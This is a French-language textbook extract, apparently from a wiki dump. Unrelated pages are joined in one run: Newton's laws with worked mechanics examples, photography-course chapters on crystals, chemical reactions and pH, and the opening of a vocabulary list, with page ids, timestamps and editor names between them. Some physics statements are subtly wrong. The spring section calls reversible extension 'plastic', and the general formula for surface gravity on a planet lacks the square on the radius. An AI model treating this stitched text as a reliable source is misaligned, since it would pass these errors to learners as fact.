trois lois fondamentales : ======Première loi (ou loi de l'inertie)====== :"Tout corps persévère dans son état de repos ou de mouvement rectiligne uniforme, si et seulement si, la somme des forces qui s'exercent sur lui est nulle." Le texte exact, traduit par Marie-Françoise Biarnais dans "isaac newton, principia mathematica", Christian Bourgois Éditeur 1985, p.40, dit : :"Tout corps persévère en son état de repos ou de mouvement rectiligne uniforme, sauf si des forces imprimées le contraignent d'en changer." Cette loi est en opposition totale avec la notion "d'état de repos" d'Aristote. Pour Aristote, un corps n'est dans son état de repos que s'il ne bouge pas par rapport au centre de l'univers. Ainsi, un état de mouvement ne peut être un état de repos, c'est-à-dire un état qui persévère. Pour lui, le mouvement ne dure pas, à moins qu'on le force à durer. Pour Newton, l'état de repos et l'état de mouvement rectiligne uniforme sont deux choses identiques. Ainsi si, comme pour Aristote, un objet qui ne bouge pas n'est soumis à aucune force, au contraire de lui, pour Newton, un objet qui bouge, plus précisément se déplace en ligne droite et à vitesse constante, n'est pas plus soumis à une quelconque force. En d'autres termes, pour Newton, il n'est pas nécessaire d'exercer une force pour qu'il y ait mouvement. La traduction mathématique actuelle de la première loi élimine ainsi naturellement la référence à un état de repos pour l'inclure dans la loi en tant que mouvement rectiligne à vitesse constante nulle : ======Première loi (version actuelle)====== {| style="border:1px solid red" cellpadding="3" cellspacing="3" align="center" |- align=center | <center><math>MRU\;\Leftrightarrow\;\sum\overrightarrow{F^{ext}}=0</math></center> |} La double flèche signifie "si et seulement si". En d'autre termes, on peut lire cette loi dans les deux sens : * si un objet est en Mouvement Rectiligne Uniforme, alors on peut dire que la somme des forces extérieures qui s'exercent sur lui est nulle (<math>\Rightarrow</math>). * si on sait que la somme des forces qui s'exercent sur un objet est nulle, alors cet objet est en Mouvement Rectiligne Uniforme (<math>\Leftarrow</math>). ======Seconde loi (loi fondamentale de la dynamique)====== Le texte exact, traduit par Marie-Françoise Biarnais dans "isaac newton, principia mathématica", Christian Bourgois Éditeur 1985, p.41, dit : :"Le changement de mouvement est proportionnel à la force motrice imprimée et s'effectue suivant la droite par laquelle cette force est imprimée." ======Seconde loi (version actuelle)====== {| style="border:1px solid red" cellpadding="3" cellspacing="3" align="center" |- align=center | <center><math>\sum\overrightarrow{F^{ext}}=m\overrightarrow{\cdot a}</math></center> |} Cette loi exprime la relation entre cause et effet. La cause du mouvement étant la force totale qui s'exerce sur le système étudié et l'effet étant son accélération, la loi exprime la relation qui existe entre les deux par l'intermédiaire de la masse. Ainsi la cause mène à une expression du mouvement, en l'occurrence l'accélération, qui permet d'obtenir en fin de compte la position de l'objet au cours du temps, comme nous le verrons plus tard. Par ailleurs nous reviendrons aussi sur la notion de force extérieure. ======Troisième loi (loi de l'action et de la réaction)====== :"La réaction est toujours contraire et égale à l'action : ou encore les actions que deux corps exercent l'un sur l'autre sont toujours égales et dirigées en sens contraire." C'est le texte exact, traduit par Marie-Françoise Biarnais dans "isaac newton, principia mathematica", Christian Bourgois Éditeur 1985, p. 41. ======Troisième loi (version actuelle)====== {| style="border:1px solid red" cellpadding="3" cellspacing="3" align="center" |- align=center | <center><math>\overrightarrow{Action}=-\overrightarrow{Reaction}</math></center> |} Cette loi se traduit mathématiquement par le fait que le vecteur force exercée par un objet A sur un objet B est de mêmes grandeur et direction, mais de sens opposé au vecteur force exercée par l'objet B sur le A. Cette dernière loi va nous permettre de revenir à la notion de force extérieure utilisée dans la seconde loi. En effet, selon la troisième loi, lorsqu'on pousse un objet pour le mettre en mouvement, celui-ci en réaction nous pousse avec une force de même intensité mais de sens contraire. Il semble donc à première vue, si on utilise par ailleurs la seconde loi, que la somme des forces est nulle. En principe donc, l'accélération devrait être nulle, et l'objet ne devrait pas se mettre en mouvement. Bien entendu, l'expérience montre le contraire. Où est donc le problème ? En réalité, celui-ci vient du fait que nous n'avons pas considéré uniquement les forces extérieures. Pour bien comprendre cette notion, il est nécessaire de définir (c'est-à-dire choisir) le système dont nous cherchons l'accélération. Cela fait, il ne faut plus considérer dans la seconde loi de Newton, que les forces exercées par un corps autre (c'est-à-dire extérieur) que le système sur le système lui-même. Il ne faut donc alors pas tenir compte des forces exercées par le système sur un objet extérieur à lui. Pour reprendre précisément l'exemple précédent, on peut dire que si le système dont on cherche l'accélération est l'objet que l'on pousse, il faut considérer dans la seconde loi de Newton uniquement la force que nous exerçons sur lui (force extérieure) et non celle qu'il exerce sur nous (force intérieure). Ainsi donc, même si la troisième loi implique l'existence des deux forces, pour appliquer correctement la seconde loi, il ne faut tenir compte que de la force extérieure. C'est donc la notion de force qui traduit la cause du mouvement. Cette notion est centrale dans la mécanique de Newton. Précisons enfin que l'unité de la force est le Newton. Il s'agit de la force nécessaire pour accélérer de 1 m/s² une masse de 1 kg. ======Exemples====== * Une voiture roule en ligne droite à vitesse constante. La force qui lui permet de maintenir sa vitesse vaut 200N. Calculez la force de frottement. :Réponse : :comme la voiture roule à vitesse constante et en ligne droite, la première loi de Newton nous indique que la somme des forces qui s'exercent sur elle est nulle. Ainsi, la force poussant la voiture étant vers l'avant et la force de frottement vers l'arrière, on peut dire que la force de frottement vaut aussi 200N. * Une voiture (de masse m = 2000 kg) accélère de 0 m/s à 100 km/h en 12 secondes. Quelle distance a-t-elle parcouru ? D'où vient la force qui lui permet d'accélérer de telle manière et quelle est sa valeur ? :Réponse : :100 km/h = 27,7 m/s. L'accélération est, par définition : a = (27,7 - 0)/12 = 2,31 m/s². La distance vaut alors : x = 2,31·12²/2 + 0·12 + 0 = 166,6 m. :La force qui lui permet d'accélérer vient du frottement avec le sol. C'est le sol qui l'exerce. En effet, la force exercée par les pneus sur le sol est clairement vers l'arrière (pensez en effet au sens dans lequel serait projeté un petit caillou collé au pneu au moment du démarrage de la voiture). Ce ne sont donc pas les pneus qui permettent à la voiture de démarrer. D'ailleurs, sur sol gelé, malgré la rotation des pneus, elle ne pourrait pas démarrer. Ainsi, il faut considérer la force exercée par le sol sur les pneus. En effet, selon la troisième loi de Newton, celle-ci, en tant que réaction à l'action vers l'arrière des pneus sur le sol, s'exerce vers l'avant. :La valeur de la force de frottement se calcule aisément par F = m·a = 2000·2,31 = 4620 N. * Une voiture (de masse m = 2000 kg) freine sur une distance de 50 m pour éviter une collision avec un mur. Sa vitesse initiale étant de 50 km/h, calculez son accélération et la force qui lui permet de s'arrêter. :Réponse : :On ne connaît ni l'accélération, ni le temps d'arrêt. On peut donc soit utiliser les deux équations de la position et de la vitesse (deux équations à deux inconnues) dans lesquelles apparaissent le temps et l'accélération, soit utiliser une relation dérivée de ces deux équations où n'apparaît pas le temps, mais seulement l'accélération. Cette relation est (voir annexe ) : :<center><math>v^{2}=v_{o}^{2}+2\cdot a_{o}\cdot(x-x_{o})</math></center> :Avec : <math>v_o = 50\,km/h = 13,8\,m/s,\;\; v = 0\,m/s\;et\;x-x_{o}=50\,m</math>, on a : :<center><math>a_{o}=\frac{v^{2}-v_{o}^{2}}{2\cdot(x-x_{o})}=\frac{0^{2}-13,8^{2}}{2\cdot50}=-1,93\, m/s^{2}</math></center> :Le signe négatif traduit une décélération (le freinage). :Finalement, la force de freinage vaut : F = m·a = 2000·(-1,93) = 3860 N. ====Types de forces==== La seconde loi de Newton propose donc de faire jouer à la notion de force le rôle de cause du changement du mouvement. Le programme de Newton consiste donc en premier lieu à rechercher les forces qui agissent sur le système étudié. Il est donc fondamental de connaître les principales forces qui peuvent agir. Il y en a beaucoup. On ne pourra les étudier toutes. En fait, il en existe principalement quatre. Ce sont la force de gravitation, la force électromagnétique, la force faible\index{force faible} et la force forte. Elles sont dites fondamentales parce qu'elles sont à l'origine de toutes les autres. En d'autres termes, toutes les autres sont une manifestation de la présence des forces fondamentales. Dans le cadre de ce cours de mécanique nous en étudierons que quatre, dont une seule fondamentale : la force de gravitation donnant lieu à la loi de la gravitation universelle de Newton. =====Loi de la gravitation universelle===== La force de gravitation <math>\overrightarrow{F}</math> exprime l'attraction à distance exercée par une masse sur une autre et réciproquement. {| align=right style="margin: 1em 1em 1em 1em" |[[Image:GravitationUniverselle.png|150px|center|frame|Figure 3.1 - La loi de la gravitation universelle]] |- align=center |} L'expression mathématique de cette loi, qui fait référence à la figure 3.1 est la suivante. <center><math>\overrightarrow{F}=G\frac{M\cdot m}{r^{3}}\cdot\overrightarrow{r}</math></center> Cette loi est présentée ci-dessus sous sa forme vectorielle. Elle traduit donc en même temps la direction (qui lie les centres des deux masses), le sens (attraction des deux corps) et la grandeur du vecteur force <math>\overrightarrow{F}</math>. Souvent on utilise une forme plus courante qui ne traduit que la grandeur de la force, mais présente plus clairement la dépendance de cette dernière comme le carré de la distance (r²) : <center><math>F=G\frac{M\cdot m}{r^{2}}</math></center> Remarquons que : * la loi de la gravitation universelle n'est valable que pour des corps ponctuels ou sphériques, * qu'elle traduit une action à distance, ce qui posera par la suite de graves problèmes, * que la constante G est une constante fondamentale appelée "constante de la gravitation universelle", et vaut <math>G = 6,67\cdot 10^{-11}\, Nm^2/kg^2</math>. Cette constante est très petite. Cela traduit une force relativement faible (même si pour des masses conséquentes comme la terre et le soleil par exemple, elle peut avoir une valeur importante). Nous verrons, avec la force électrique par exemple, un exemple de force beaucoup plus forte. =====Le poids===== On a vu au paragraphe \ref{accg} que l'accélération à la surface de la terre d'un objet en chute libre (c'est-à-dire qui n'est soumis à aucun frottement) vaut <math>g = 9,81 m/s^2</math>. Or, en chute libre, la seule force qui s'exerce est le poids. Ainsi, selon la seconde loi de Newton, on peut écrire : <center><math>P=F=m\cdot a=m\cdot g\;\Rightarrow\; P=m\cdot g</math></center> Évidemment le poids étant une force, il s'exprime en Newton. On peut aussi comprendre le poids d'une autre manière. On peut considérer que le poids n'est que l'expression de la force de gravitation qui s'exerce entre la terre et le corps considéré placé à la surface de la terre. Ainsi, à l'aide de la loi de la gravitation, on peut écrire : <center><math>F=G\cdot\frac{M_{terre}\cdot m}{r_{terre}^{2}}=m\cdot g</math></center> Attention, il faut bien comprendre que le poids n'est pas une autre force que la force de gravitation, mais qu'il s'agit de la même force! Ainsi, on peut écrire, à la suite de l'équation précédente : <center><math>g=G\cdot\frac{M_{terre}}{r_{terre}^{2}}=9,81\, m/s^{2}</math></center> C'est l'expression de l'accélération d'un corps en chute libre à la surface de la terre. On peut donc facilement généraliser cette équation pour un corps autre que la terre : <center><math>g=G\cdot\frac{M_{plan\acute ete}}{r_{plan\acute ete}}</math></center> En particulier aussi, on peut utiliser l'expression de g ci-dessus pour exprimer la variation de l'accélération terrestre en fonction de l'altitude : <center><math>g=G\cdot\frac{M_{terre}}{(r_{terre}+h)^{2}}</math></center> où h est l'altitude au-dessus de la surface de la terre. On constate donc que l'accélération diminue avec l'altitude. Par conséquent, le poids aussi. On peut donc se poser la question suivante : "de combien maigrit-on en montant au sommet de l'Everest" :-). Une des nombreuses applications intéressantes de la loi de la gravitation universelle est la détermination de l'altitude à laquelle il faut placer un satellite en orbite pour qu'il soit géostationnaire. Ce cas est présenté en annexe x. =====Le frottement===== Pour comprendre la force de frottement, il faut réaliser l'expérience suivante : on tire avec un dynamomètre sur une masse posée sur une table. Pendant un premier temps, la masse ne bouge pas. Cela signifie que la force qu'on exerce est égale à la force de frottement. Même si on tire de plus en plus fort, la masse ne bouge pas. Donc, la force de frottement augmente en même temps et dans la même mesure que celle que l'on exerce. C'est le cas jusqu'à un certain point nommé "imminence de glissement". A ce moment là, la force de frottement, dite "statique" parce que le masse ne bouge pas encore, est maximale. Si on augmente encore ne serait-ce qu'un tout petit peu la force de traction, la masse se met en mouvement et on constate en général que la force de frottement diminue légèrement. Ensuite, même si on augmente la force de traction, la force de frottement ne varie plus. Ce comportement est résumé sur le graphique de la figure 3.2. {| align=right style="margin: 1em 1em 1em 1em" |[[Image:ForceFrottement.png|150px|center|frame|Figure 3.2 - La force de frottement]] |- align=center |} Par ailleurs, pour un frottement de type sec, c'est-à-dire entre deux surfaces solides, on montre que la force ne dépend pas se la surface de frottement, mais seulement de la nature des surfaces et de la réaction du sol (la force exercée par le sol sur la masse). Ainsi, on peut écrire : <center><math>F_{frott.\, stat.\, max}=\mu_{o}\cdot N</math></center> où <math>\mu_{o}</math> est le coefficient de frottement statique qui traduit l'intervention de la nature des surfaces et N est la force de réaction. De la même manière, on a aussi : <center><math>F_{frott.\, cin.}=\mu_{c}\cdot N</math></center> où <math>\mu_{c}</math> est le coefficient de frottement cinétique. D'autre part, on a, comme la figure 3.2 le montre, la relation suivante : <center><math>\mu_{o}\geq\mu_{c}</math></center> Enfin, il faut relever qu'en réalité la situation est plus complexe. Même si le modèle de la force de frottement cinétique présente une force indépendante de la vitesse, on peut observer des variations en fonction de la vitesse (nottamment une décroissance). De plus sa linéarité en fonction de la réaction normale du sol n'est pas toujours exacte. Il s'agit donc d'un modèle qui a ses limites. Pour en savoir plus sur ce sujet il est fortement conseillé de consulter le '''[[Tribologie|wikilivre de tribologie]]'''. =====La force d'un ressort===== Il est particulièrement intéressant de comprendre comment agit la force d'un ressort. En effet, c'est un premier modèle traduisant les liaisons inter-atomiques à l'intérieur d'un cristal par exemple. Mais beaucoup d'autres cas pourraient être présentés. Dans le domaine où le ressort à un comportement plastique (c'est-à-dire que son extension est parfaitement réversible), on montre que l'expression donnant le force de rappel par rapport à l'état d'équilibre où le ressort est détendu, est : <center><math>F=-k\cdot x</math></center> {| align=right style="margin: 1em 1em 1em 1em" |[[Image:ForceRessort.png|150px|center|frame|Figure 3.1 - La force du ressort]] |- align=center |} Le signe négatif vient du fait que c'est une force de rappel (dirigée dans le sens contraire de l'axe). =====Exemples===== * Déterminez la perte de poids que constate une personne de masse m = 80 kg en passant du bord de la mer au sommet de l'Everest (8000 m). :Solution : :L'accélération terrestre au niveau de la mer vaut :<br> :<center><math>g_{mer} = G\cdot\frac{M_{terre}}{(r_{terre}+h)^{2}}</math></center> :<center><math> = 6,67\cdot10^{-11}\cdot\frac{5,97\cdot10^{24}}{(6,37\cdot10^{6}+0)^{2}}</math></center> :<center><math> = 9,81344\, m/s^{2}</math></center> :L'accélération terrestre au niveau du sommet de l'Everest vaut :<br> :<center><math>g_{Everest} = G\cdot\frac{M_{terre}}{(r_{terre}+h)^{2}}</math></center> :<center><math> = 6,67\cdot10^{-11}\cdot\frac{5,97\cdot10^{24}}{(6,37\cdot10^{6}+8000)^{2}}</math></center> :<center><math> = 9,78884\, m/s^{2}</math></center> :Ainsi, le poids de la personne au niveau de la mer vaut :<br> :<center><math>P_{mer}=m\cdot g_{mer}=80\cdot9,81344=785\, N</math></center> :et celui à 8000 m vaut :<br> :<center><math>P_{Everest}=m\cdot g_{Everest}=80\cdot9,78884=783\, N</math></center> :La différence est donc de : <math>\Delta P=785-783=2\, N</math><br> :Au niveau de la mer, cela correspond à une variation de masse quivaut : :<center><math>\Delta m=\frac{\Delta P}{g_{mer}}=\frac{2}{9,81344}=204\, g</math></center> * Calculez la distance de freinage d'une voiture roulant à 50 km/h sur une route mouillée dont les coefficients de frottement avec les pneus valent : <math>\mu_{o}=0,4\; et\;\mu_{c}=0,3</math>. Le conducteur ne sait pas freiner.<br> :Solution :<br> :Comme le conducteur ne sait pas freiner, il bloque les roues et elles glissent sur la chaussée. Le coefficient de frottement est donc <math>\mu_{c}=0,3</math>. :La force de frottement vaut alors : :<center><math>F_{frot.}=\mu_{c}\cdot N=\mu_{c}\cdot m\cdot g</math></center> :Mais, la seconde loi de Newton implique : :<center><math>a = \frac{F_{frot.}}{m}=\frac{\mu_{c}\cdot m\cdot g}{m}=\mu_{c}\cdot g</math></center> :<center><math> = 0,3\cdot9,81=2,943\, m/s^{2}</math></center> :Par ailleurs, on a aussi : <math>v^{2}=v_{o}^{2}+2\cdot a\cdot d</math><br> :Ainsi, on tire : :<center><math>d=\frac{v^{2}-v_{o}^{2}}{2\cdot a}=\frac{0^{2}-13,9^{2}}{2\cdot(-2,943)}=32,8\, m</math></center> :Car, 50 km/h = 13,9 m/s et a < 0 pour une décélération. * On suspend à un ressort de constante k = 200 N/m une masse de 2 kg. Calculez son élongation.<br> :Solution :<br> :L'équilibre des forces (le poids vers le bas et la force de rappel du ressort vers le haut) mène à la solution suivante :<br> :<center><math>m\cdot g=k\cdot x\Rightarrow x=\frac{m\cdot g}{k}=\frac{2\cdot9,81}{200}=9,81\, cm</math></center> Photographie - 02 - L'état cristallisé 5244 40898 2006-04-25T10:32:24Z Mormegil 1421 duplicate image on Commons, changed into the kept version {{Photographie}} {{Photo_02}} == État amorphe, état cristallin == Dans la nature ou au laboratoire, les corps solides existent aussi bien sous la forme '''amorphe''' que sous la forme de '''cristaux'''. L'état amorphe correspond à l'absence de toute forme déterminée ou, si l'on préfère, de toute organisation des molécules. Les cristaux, au contraire, présentent spontanément des formes géométriques définies sur lesquelles on peut constater la présence de plans ou faces, d'arêtes ou intersection de faces, de sommets ou intersections d'arêtes. Ainsi, la silice naturelle (quartz ou « cristal de roche ») est généralement cristallisée sous forme de prismes hexagonaux terminés par deux pyramides régulières, tandis que la silice fondue est une substance vitreuse (semblable au verre) et sans organisation définie. <gallery> Image:USDA Mineral Smokey Quartz 93v3949.jpg|Cristaux de quartz Image:Amethyst.bed.750pix.jpg|Améthyste (quartz) Image:Aragonite.jpg|Aragonite Image:Pyrite foolsgold.jpg|Pyrite (l'or du fou) </gallery> == Formation des cristaux == La formation de cristaux peut être obtenue de différentes manières : - par refroidissement '''lent''' d'un liquide fondu - par concentration lente d'une solution - par condensation d'une vapeur - par précipitation d'un composé insoluble Certains corps peuvent se présenter sous des formes cristallines différentes : il en est ainsi pour le carbone, qui cristallise sous forme de diamant ou de graphite, le carbonate de calcium, etc. == Systèmes cristallins == Il n'existe en tout et pour tout que sept systèmes cristallins qui, compte tenu de leurs variantes, fournissent 14 formes différentes de réseaux, connues sous le nom de '''réseaux de Bravais'''. Le plus simple est le système cubique, selon lequel s'organisent en particulier les cristaux d'halogénures d'argent, mais aussi le sel marin. {| align=center border=1 style=margin-left:1em cellspacing="0" cellpadding="3" |align="center"|'''Système cristallin''' |colspan=4 align=center| '''Réseaux''' |- |colspan=1 align=center| Triclinique <br/><br/>parallélépipède<br/> quelconque || [[image:Triclinic.png|Triclinique]] |- |rowspan=2 align=center| Monoclinique<br/><br/>prisme oblique<br/> à base losange |align=center| primitif |align=center| centré |- || [[image:Monoclinic.png|100px|Monoclinique primitif]] || [[image:Monoclinic-base-centered.png|Monoclinique centré]] |- |rowspan=2 align=center| Orthorhombique<br/><br/>prisme droit<br/> à base losange |align=center| primitif |align=center| à base centrée |align=center| centré |align=center| à faces centrées |- || [[image:Orthorhombic.png|Orthohombique, primitif]] || [[image:Orthorhombic-base-centered.png|Orthohombique à base centré]] || [[image:Orthorhombic-body-centered.png|Orthohombique centré]] || [[image:Orthorhombic-face-centered.png|Orthohombique à faces centrées]] |- |align=center| Hexagonal<br/><br/>prisme droit<br/> à base hexagonale | [[image:Hexagonal.png|Hexagonal]] |- |align=center| Rhombohédrique<br />(trigonal)<br/><br/> toutes les faces<br/> sont des losanges | [[image:Rhombohedral.png|Rhombohédrique]] |- |rowspan=2 align=center| Tétragonal<br>(quadratique)<br/><br/> prisme droit<br/> à base carrée |align=center|primitif |align=center|centré |- || [[image:Tetragonal.png|Tétragonal primitif]] || [[image:Tetragonal-body-centered.png|Tétragonal centré]] |- |rowspan=2 align=center| Cubique<br /> |align=center| primitif |align=center| centré |align=center| à faces centrées |- || [[Image:Cubic crystal shape.png|Cubique primitif]] | [[image:Cubic-body-centered.png|Cubique centré]] | [[image:Cubic-face-centered.png|Cubique à faces centrées]] |} Il ne faut pas en déduire que les cristaux ne peuvent se présenter que sous 7 formes différentes, au contraire, leur système est parfois difficile à déterminer car des troncatures peuvent intervenir ; c'est ainsi qu'à partir du cube on peut obtenir, comme nous le verrons, des plaquettes triangulaires ou hexagonales et même des octaèdres. == Plans réticulaires == Le système cubique simple est celui dans lequel cristallisent de très nombreux composés chimiques, entre autres ceux qui ne sont constitués que de deux sortes d'atomes intervenant en proportions égales sous forme de composés ioniques. C'est le cas, par exemple, du chlorure de sodium ou du '''bromure d'argent''' qui constitue l'élément sensible principal des pellicules argentiques. Le premier dessin ci-dessous est une vue d'artiste d'un réseau cubique, le second représente sous forme de points noirs les ions argent et sous forme de cercles blancs les ions brome du bromure d'argent. Les seconds sont beaucoup plus volumineux que les premiers. <center> [[Image:600px-Kubisches Kristallsystem.jpg|100px]].......... [[Image:Réseau cubique.png|125px]] </center> Les '''plans réticulaires''' d'un cristal sont ceux dans lesquels les atomes sont dotés d'une structure répétitive, ils correspondent généralement à un maximum de densité atomique. On voit ci-dessous les trois familles de plans réticulaires d'une structure cubique simple, les premiers parallèles aux faces, les seconds passant par les diagonales des faces et les troisièmes perpendiculaires aux diagonales principales du cube. L'organisation des atomes dans ces plans se fait respectivement selon des carrés, des rectangles et des triangles équilatéraux. La rupture des cristaux est d'autant plus facile qu'elle se produit dans la direction des plans de plus forte densité atomique et, dans ces plans eux-mêmes, dans les directions correspondant aux alignements les plus serrés. [[Image:Plans réticulaires.png|350px|center]] == Troncatures == Il arrive très fréquemment que les cristaux subissent des '''troncatures''' qui en changent profondément l'aspect. Le schéma ci-dessous montre comment, à partir d'un système cubique simple dont les sommets se trouvent tronqués perpendiculairement à la diagonale principale, on arrive progressivement à une structure octaédrique. Le grenat, qui cristallise dans le système cubique, montre souvent des troncatures plus ou moins complexes des sommets et des arêtes, comme on le voit ci-dessous. D'autres troncatures peuvent exister dans le système cubique, elles seront envisagées plus loin. <center> [[Image:Troncatures d'un cristal cubique simple.png|350px]] [[Image:GarnetCrystalUSGOV.jpg|360px]] </center> == Formes anhydres et formes hydratées == De nombreux composés chimiques cristallisent avec une certaine quantité, toujours parfaitement définie, d''''eau de constitution'''. On trouve de nombreux exemples de cristaux hydratés parmi les produits chimiques utilisés en photographie : sulfite de sodium : <math>Na_2SO_3,\; 7H_2O</math> thiosulfate de sodium : <math>Na_2S_2O_3,\; 5H_2O</math> tétraborate de sodium : <math>Na_2B_4O_7,\; 10H_2O</math> carbonate de sodium : <math>Na_2CO_3,\; 10H_2O</math> etc. Certains cristaux sont '''déliquescents''', c'est-à-dire qu'ils ont tendance à absorber la vapeur d'eau atmosphérique, d'autres au contraire sont '''efflorescents''', c'est-à-dire qu'ils tendent à perdre leur eau de constitution. Un exemple bien connu de ce dernier cas est le carbonate de sodium, qu'il faut acheter sous sa forme '''anhydre''', sans quoi il est impossible de savoir avec précision combien d'eau il contient. On doit toujours tenir compte de l'eau de cristallisation quand on fait une pesée et, dans tous les cas, préférer des produits qui existent sous une forme bien définie et si possible stable. Exemple: {| |- |<math>FeCl_3 \,</math> anhydre|| ||162 g (très avide d'eau) |- |<math>FeCl_3,\; 6 H_2O</math>|| ||270 g (stable) |- |} {{Photo_02}} Photographie - Chapitre 03 - Les réactions chimiques 5245 44313 2006-06-11T07:26:30Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_03}} Photographie - 03 - Les réactions chimiques 5246 44314 2006-06-11T07:26:49Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_03}} La formation, la destruction ou la transformation des molécules s'accomplissent au cours des '''réactions chimiques'''. Ces phénoménes s'accompagnent toujours d'échanges d'énergie, que ce soit sous forme mécanique (détente ou compression d'un gaz), électrique (piles et accumulateurs), thermique (combustions), ou le plus souvent sous diverses formes en même temps. Les réactions qui produisent de la chaleur sont dites '''exothermiques''', ainsi que les composés qu'elles produisent. Celles qui, au contraire, absorbent de la chaleur sont dites '''endothermiques'''. * '''Réaction exothermique :''' :<math>H_2 (gaz) + Cl_2 (gaz) \to 2 HCl (gaz) + 44,1 \,kcal </math> :On peut remarquer que l'on retrouve à l'issue de cette réaction autant de moles de gaz qu'il y en avait initialement. Si l'on ramène les produits dans les mêmes conditions de température et de pression, on ne constatera aucun changement de volume appréciable et par conséquent cette réaction ne fait intervenir aucun travail mécanique. * '''Réaction endothermique :''' : <math>3 O_2 (gaz) \to 2 O_3 (gaz) - 69,0 \,kcal </math> Cette fois, si l'on ramenait l'oxygène et l'ozone aux mêmes conditions de température et de pression, on s'apercevrait qu'il y a eu perte d'un volume molaire de gaz. Non seulement le milieu extérieur a fourni des calories, mais encore il a effectué un travail de compression sur le milieu réactionnel. Pour mesurer les '''chaleurs de réaction''', il faut tenir compte de nombreux facteurs : * la nature de la transformation (à pression constante ou à volume constant), * les transformations physiques (fusion, solidification, condensation, ébullition, changement d'état allotropique). Prenons un exemple : <math>C (graphite) + O_2 \to CO_2 + 94,450 \,kcal</math> <math>C (diamant) + O_2 \to CO_2 + 97,650 \,kcal</math> On en déduit naturellement que la formation du diamant à partir du graphite est un phénomène endothermique : <math>C (graphite) \to C (diamant) - 3,2 \,kcal</math> Bien que cette quantité de chaleur soit modeste, la réaction en question n'est hélas pas encore totalement maîtrisée (sinon, entre nous soit dit, ça se saurait !). Il est possible également de mesurer la chaleur correspondant à une liaison entre deux atomes : par exemple, <math>H-H = 103,4 \,kcal</math>. La dissolution et la dissociation en ions de certains corps sont également susceptibles de produire des phénomènes thermiques importants. Ainsi, la dissolution des thiosulfates (que nous retrouverons dans les fixateurs) s'accompagne d'un refroidissement, tandis que celle de l'hydroxyde de sodium (soude caustique) ou de l'acide sulfurique provoque un violent échauffement. D'ailleurs, il ne faut jamais verser d'eau sur la soude ou dans l'acide sulfurique concentré sous peine de provoquer de violentes et dangereuses projections. On peut par contre verser, prudemment, l'acide dans l'eau. Il faut retenir que '''dans les conditions habituelles, ce sont toujours les réactions exothermiques qui tendent à se produire'''. suite : '''[[Photographie - 03 - Acides et bases, pH|Acides et bases, pH]]''' Photographie - 03 - Acides et bases, pH 5247 44315 2006-06-11T07:27:12Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_03}} == Fonction acide, fonction base == Deux ions jouent un rôle fondamental en chimie, les ions <math>H_3O^+ \,</math> (ion hydronium composé d'un proton et d'une molécule d'eau) et <math>OH^- \,</math> (ion hydroxyle), qui caractérisent respectivement la '''fonction acide''' et la '''fonction base'''. Un acide est un corps de la forme <math>AH \,</math>, capable de se dissocier au moins partiellement dans l'eau en donnant des ions <math>A^- \,</math> et <math>H_3O^+ \,</math>. Une base est un corps de la forme <math>BOH \,</math> donnant des ions <math>B^+ \,</math> et <math>OH^- \,</math>. == Constantes de dissociation == Les '''acides forts''' et les '''bases fortes''' sont à peu près totalement ionisés en solution mais il n'en est pas de même pour les '''acides faibles''' et les '''bases faibles''' dont la force varie beaucoup et s'exprime par la valeur de leur '''constante de dissociation'''. L'action d'un acide fort sur une base forte donne un '''sel''' et de l''''eau''' : <math>A^- + H_3O^+ + B^+ + OH^- \to A^- + B^+ + 2 H_2O + Q\,calories</math> ou plus simplement, en supprimant les ions qui ne sont pas affectés : {| border="1" cellpadding="3" cellspacing="0" align="center" |- |<math>H_3O^+ + OH^- \to 2 H_2O + Q\,</math> |- |} == Neutralisation mutuelle des acides et des bases == La '''neutralisation''' d'un acide fort par une base forte donne un dégagement de chaleur pratiquement constant qui correspond à la chaleur de formation de l'eau à partir de ses ions : <math>HCl + NaOH \to 13,740 \,kcal</math> <math>HCl + KOH \to 13,750 \,kcal</math> <math>HI + NaOH \to 13,750 \,kcal</math> L'eau elle-même est un peu dissociée, on trouve à 20 °C : <math>\frac{\left[ H_3O^+ \right] \cdot \left[ OH^- \right]}{\left[ HOH \right]} = 1,8 \cdot 10^{-16}</math> Comme l'on compte environ 55,5 moles d'eau par litre de ce corps ou d'une solution aqueuse diluée, on écrit plus simplement : <math>\left[ H_3O^+ \right] \cdot \left[ OH^- \right] = 1,8 \cdot 10^{-16} \cdot 55,5 \approx 10^{-14}</math> == Notion de potentiel hydrogène == Le caractère acide ou basique d'une solution est caractérisé par la concentration de cette solution en ions <math>H_3O^+\,</math> et <math>OH^- \,</math> mais comme il existe une relation entre ces deux concentrations, on peut en pratique utiliser la seule concentration <math>\left[H_3O^+ \right] </math>, quitte à en déduire le cas échéant <math>\left[OH^- \right]</math>. L'acidité se chiffre commodément à l'aide de la notation '''pH''', due à Sorensen : {| border="2" cellpadding=10" cellspacing="0" align="center" |- |<math>pH = log{\frac{1}{\left[H_3O^+ \right]}}</math> |- |} Pour l'eau pure, les deux concentrations en ions <math>H_3O^+\,</math> et <math>OH^- \,</math> sont égales à 10<sup>-7</sup> et par conséquent l'on a '''pH = 7''', valeur caractéristique des milieux neutres. Les valeurs inférieures à 7 sont celles des milieux acides, les valeurs supérieures à 7 celles des milieux basiques. Une '''solution normale''' d'acide chlorhydrique (une mole par litre) donne <math>\left[H_3O^+ \right] = 1</math>, soit pH=0. Une solution normale d'hydroxyde de sodium est telle que <math>\left[OH^- \right] = 1</math>, donc <math>\left[H_3O^+ \right] = 10^{-14}</math> et pH=14. Les acides et bases faibles donnent des valeurs du pH plus proches de 7, à concentration égale. Pour l'acide éthanoïque, on trouve par exemple, à 20 °C : <math>\frac{\left[ CH_3COO^- \right] \cdot \left[H_3O^+ \right]}{\left[CH_3COOH\right]} = K_{CH_3COOH} = 1,81 \cdot 10^{-5} \quad</math> Si l'on part d'une solution normale d'acide pur, on obtient alors : <math>\left[H_3O^+ \right] = 4,25 \cdot 10^{-3}</math> et <math>pH = 2,37 \,</math> == Voir aussi == * [[Acides et bases (Chimie générale)|le Wikilivre de chimie générale]] Suite : '''[[Photographie - 03 - Vitesse de réaction - Équilibre chimique|Vitesse de réaction - Équilibre chimique]]''' Vocabulaire / Univers 5256 24250 2005-10-25T18:44:24Z Oui 428 == univers== (V001) *1 explosion originelle *2 vide galactique *3 expansion *4 monde *5 amas de galaxies *6 galaxie *7 brouillard galactique *8 étoile *9 lumineux *10 brillant *11 rouge *12 bleu *13 nain *14 géant *15 scintillant *16 pulsant *17 contracter (se) *18 agrandir (s'-) *19 exploser *20 noyau *21 trou *22 noir *23 centre 